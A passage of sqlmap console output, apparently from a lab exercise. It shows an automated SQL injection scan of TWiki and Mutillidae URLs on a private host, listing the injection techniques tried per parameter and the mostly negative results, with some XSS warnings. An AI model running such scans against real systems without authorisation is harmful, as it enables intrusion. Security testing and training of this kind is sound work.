injectable [19:20:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 99: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.4&rev2=1.3 do you want to test this URL? [Y/n/q] Y [19:20:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.4&rev2=1.3' [19:20:48] [INFO] testing connection to the target URL [19:20:48] [INFO] testing if the target URL is stable [19:20:49] [INFO] target URL is stable [19:20:49] [INFO] testing if GET parameter 'rev1' is dynamic [19:20:49] [WARNING] GET parameter 'rev1' does not appear dynamic [19:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:20:49] [INFO] testing for SQL injection on GET parameter 'rev1' [19:20:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:20:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:20:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:20:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:20:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:20:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:20:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:20:52] [INFO] testing 'MySQL inline queries' [19:20:53] [INFO] testing 'PostgreSQL inline queries' [19:20:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:20:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:20:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:20:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:20:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:20:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:20:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:20:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:20:56] [INFO] testing 'Oracle AND time-based blind' [19:20:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:20:56] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:21:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:21:09] [WARNING] GET parameter 'rev1' is not injectable [19:21:09] [INFO] testing if GET parameter 'rev2' is dynamic [19:21:09] [WARNING] GET parameter 'rev2' does not appear dynamic [19:21:09] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:21:09] [INFO] testing for SQL injection on GET parameter 'rev2' [19:21:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:21:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:21:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:21:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:21:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:21:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:21:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:21:14] [INFO] testing 'MySQL inline queries' [19:21:15] [INFO] testing 'PostgreSQL inline queries' [19:21:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:21:16] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:21:17] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:21:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:21:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:21:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:21:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:21:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:21:19] [INFO] testing 'Oracle AND time-based blind' [19:21:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:21:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:21:32] [WARNING] GET parameter 'rev2' is not injectable [19:21:32] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 100: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?rev=1.3 do you want to test this URL? [Y/n/q] Y [19:21:32] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?rev=1.3' [19:21:32] [INFO] testing connection to the target URL [19:21:33] [INFO] testing if the target URL is stable [19:21:34] [INFO] target URL is stable [19:21:34] [INFO] testing if GET parameter 'rev' is dynamic [19:21:34] [WARNING] GET parameter 'rev' does not appear dynamic [19:21:34] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:21:34] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:21:34] [INFO] testing for SQL injection on GET parameter 'rev' [19:21:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:21:34] [WARNING] reflective value(s) found and filtering out [19:21:36] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:21:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:21:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:21:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:21:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:21:39] [INFO] testing 'MySQL inline queries' [19:21:39] [INFO] testing 'PostgreSQL inline queries' [19:21:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:21:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:21:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:21:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:21:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:21:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:21:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:21:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:21:43] [INFO] testing 'Oracle AND time-based blind' [19:21:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:21:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:21:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:22:04] [WARNING] GET parameter 'rev' is not injectable [19:22:04] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:22:04] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.3&rev2=1.2' [19:22:04] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?rev=1.2' URL 101: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/WebChanges?template=oopsmore¶m1=1.4¶m2=1.4 do you want to test this URL? [Y/n/q] Y [19:22:04] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebChanges?template=oopsmore¶m1=1.4¶m2=1.4' [19:22:04] [INFO] testing connection to the target URL [19:22:04] [INFO] testing if the target URL is stable [19:22:05] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:22:05] [INFO] testing if GET parameter 'template' is dynamic [19:22:05] [INFO] confirming that GET parameter 'template' is dynamic [19:22:05] [INFO] GET parameter 'template' is dynamic [19:22:05] [INFO] heuristics detected web page charset 'ascii' [19:22:05] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:22:05] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:22:05] [INFO] testing for SQL injection on GET parameter 'template' [19:22:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:22:06] [WARNING] reflective value(s) found and filtering out [19:22:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:22:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:22:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:22:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:22:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:22:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:22:08] [INFO] testing 'MySQL inline queries' [19:22:09] [INFO] testing 'PostgreSQL inline queries' [19:22:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:22:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:22:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:22:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:22:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:22:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:22:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:22:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:22:11] [INFO] testing 'Oracle AND time-based blind' [19:22:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:22:12] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:22:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:22:21] [WARNING] GET parameter 'template' is not injectable [19:22:21] [INFO] testing if GET parameter 'param1' is dynamic [19:22:21] [WARNING] GET parameter 'param1' does not appear dynamic [19:22:22] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:22:22] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:22:22] [INFO] testing for SQL injection on GET parameter 'param1' [19:22:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:22:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:22:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:22:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:22:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:22:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:22:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:22:26] [INFO] testing 'MySQL inline queries' [19:22:26] [INFO] testing 'PostgreSQL inline queries' [19:22:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:22:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:22:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:22:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:22:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:22:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:22:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:22:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:22:30] [INFO] testing 'Oracle AND time-based blind' [19:22:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:22:33] [INFO] target URL appears to be UNION injectable with 1 columns [19:22:33] [WARNING] applying generic concatenation with double pipes ('||') [19:22:33] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [19:22:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:22:47] [WARNING] GET parameter 'param1' is not injectable [19:22:47] [INFO] testing if GET parameter 'param2' is dynamic [19:22:47] [WARNING] GET parameter 'param2' does not appear dynamic [19:22:47] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:22:47] [INFO] testing for SQL injection on GET parameter 'param2' [19:22:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:22:49] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:22:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:22:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:22:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:23:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:23:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:23:08] [INFO] testing 'MySQL inline queries' [19:23:09] [INFO] testing 'PostgreSQL inline queries' [19:23:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:23:11] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:23:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:23:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:23:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:23:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:23:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:23:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:23:35] [INFO] testing 'Oracle AND time-based blind' [19:23:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:24:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:24:47] [WARNING] GET parameter 'param2' is not injectable [19:24:47] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:24:47] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php' [19:24:47] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=pen-test-tool-lookup.php' URL 102: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiHistory?t=1441457128 do you want to test this URL? [Y/n/q] Y [19:24:47] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiHistory?t=1441457128' [19:24:47] [INFO] testing connection to the target URL [19:24:47] [INFO] testing if the target URL is stable [19:24:48] [INFO] target URL is stable [19:24:48] [INFO] testing if GET parameter 't' is dynamic [19:24:48] [WARNING] GET parameter 't' does not appear dynamic [19:24:48] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:24:48] [INFO] testing for SQL injection on GET parameter 't' [19:24:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:24:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:24:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:24:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:24:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:24:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:24:53] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:24:53] [INFO] testing 'MySQL inline queries' [19:24:53] [INFO] testing 'PostgreSQL inline queries' [19:24:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:24:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:24:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:24:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:24:55] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:24:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:24:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:24:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:24:58] [INFO] testing 'Oracle AND time-based blind' [19:24:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:24:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:25:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:25:14] [WARNING] GET parameter 't' is not injectable [19:25:14] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 103: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki History[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:25:14] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki History[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:25:14] [INFO] testing connection to the target URL [19:25:14] [INFO] testing if the target URL is stable [19:25:15] [INFO] target URL is stable [19:25:15] [INFO] testing if URI parameter '#1' is dynamic [19:25:15] [INFO] confirming that URI parameter '#1*' is dynamic [19:25:15] [INFO] URI parameter '#1*' is dynamic [19:25:15] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:25:16] [INFO] testing for SQL injection on URI parameter '#1*' [19:25:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:25:16] [WARNING] reflective value(s) found and filtering out [19:25:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:25:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:25:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:25:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:25:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:25:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:25:20] [INFO] testing 'MySQL inline queries' [19:25:20] [INFO] testing 'PostgreSQL inline queries' [19:25:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:25:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:25:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:25:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:25:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:25:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:25:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:25:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:25:24] [INFO] testing 'Oracle AND time-based blind' [19:25:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:25:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:25:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:25:36] [WARNING] URI parameter '#1*' is not injectable [19:25:36] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 104: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?skin=print do you want to test this URL? [Y/n/q] Y [19:25:36] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?skin=print' [19:25:36] [INFO] testing connection to the target URL [19:25:36] [INFO] testing if the target URL is stable [19:25:37] [INFO] target URL is stable [19:25:37] [INFO] testing if GET parameter 'skin' is dynamic [19:25:37] [INFO] confirming that GET parameter 'skin' is dynamic [19:25:37] [INFO] GET parameter 'skin' is dynamic [19:25:38] [INFO] heuristics detected web page charset 'ascii' [19:25:38] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:25:38] [INFO] testing for SQL injection on GET parameter 'skin' [19:25:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:25:38] [WARNING] reflective value(s) found and filtering out [19:25:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:25:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:25:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:25:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:25:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:25:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:25:44] [INFO] testing 'MySQL inline queries' [19:25:44] [INFO] testing 'PostgreSQL inline queries' [19:25:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:25:44] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:25:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:25:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:25:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:25:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:25:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:25:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:25:49] [INFO] testing 'Oracle AND time-based blind' [19:25:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:25:50] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:26:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:26:11] [WARNING] GET parameter 'skin' is not injectable [19:26:11] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:26:11] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.62&rev2=1.61' [19:26:11] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.61' [19:26:11] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.61&rev2=1.60' [19:26:11] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.60' URL 105: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiHistory?template=oopsmore¶m1=1.62¶m2=1.62 do you want to test this URL? [Y/n/q] Y [19:26:11] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiHistory?template=oopsmore¶m1=1.62¶m2=1.62' [19:26:11] [INFO] testing connection to the target URL [19:26:12] [INFO] testing if the target URL is stable [19:26:13] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:26:13] [INFO] skipping previously processed GET parameter 'template' [19:26:13] [INFO] skipping previously processed GET parameter 'param1' [19:26:13] [INFO] testing if GET parameter 'param2' is dynamic [19:26:13] [WARNING] GET parameter 'param2' does not appear dynamic [19:26:13] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:26:13] [INFO] testing for SQL injection on GET parameter 'param2' [19:26:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:26:13] [WARNING] reflective value(s) found and filtering out [19:26:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:26:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:26:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:26:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:26:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:26:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:26:17] [INFO] testing 'MySQL inline queries' [19:26:18] [INFO] testing 'PostgreSQL inline queries' [19:26:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:26:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:26:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:26:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:26:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:26:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:26:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:26:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:26:21] [INFO] testing 'Oracle AND time-based blind' [19:26:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:26:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:26:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:26:38] [WARNING] GET parameter 'param2' is not injectable [19:26:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 106: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WelcomeGuest?t=1441457191 do you want to test this URL? [Y/n/q] Y [19:26:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WelcomeGuest?t=1441457191' [19:26:38] [INFO] testing connection to the target URL [19:26:38] [INFO] testing if the target URL is stable [19:26:39] [INFO] target URL is stable [19:26:39] [INFO] testing if GET parameter 't' is dynamic [19:26:39] [WARNING] GET parameter 't' does not appear dynamic [19:26:39] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:26:39] [INFO] testing for SQL injection on GET parameter 't' [19:26:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:26:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:26:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:26:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:26:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:26:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:26:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:26:43] [INFO] testing 'MySQL inline queries' [19:26:43] [INFO] testing 'PostgreSQL inline queries' [19:26:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:26:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:26:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:26:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:26:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:26:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:26:45] [INFO] testing 'PostgreSQL > 